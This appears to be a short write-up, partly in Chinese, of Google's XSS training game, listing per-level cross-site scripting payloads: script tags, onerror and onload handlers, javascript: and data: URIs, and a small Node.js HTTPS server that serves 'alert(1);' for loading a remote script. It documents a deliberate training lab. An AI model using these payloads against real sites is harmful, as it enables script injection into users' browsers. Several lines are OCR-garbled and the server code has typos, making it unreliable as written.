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Level 1: Hello, world of XSS

<script>alert(1);</script>

Level 2: Persistence is key
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<a href="test" onclick="javascript:alert(1l);">test</a>
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<img src="test.png" onerror="javascript:alert(1);"/>
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<img src="https://xss-game.appspot.com/static/level2_icon.png"onload="alert(1);" />
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Level 3: That sinking feeling...
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1.jpg' onload='javascript:alert(1);"

IhER—k A ME R/ (fFHonload) AREXH,
i

' onerror="alert(1)">
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"><script>alert(1);</script>

Level 4: Context matters
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Level 5: Breaking protocol
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javascript:alert(1);
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Level 6: Follow the rabbit

R fa—K, TATAT LA T 77 A8 F data:text/javascript:

data:text/javascript,alert(1);
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HTTP://127.0.0.1:8000
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var https = require('https');
var fs = require('fs');

var hskey = fs.readFileSync('server.key');
var hscert = fs.readFileSync('server.crt')

var options = {
key: hskey,

cert: hscert

s

https.createServer(options, function (req, res){
res.writeHead(2090);

res.end("alert(1);");
}).1listen(8000);
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//website.com/evilscript.js
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//127.0.0.1:8000

Done.
AR TR EE A FTBOR. X NMERELERBEBN, HFHEEMEM.

JR3CHRHE: http://paulsec.github.io/blog/2014/06/02/diving-into-xss-googles-game/


http://paulsec.github.io/blog/2014/06/02/diving-into-xss-googles-game/

	Google的XSS游戏——WriteUp

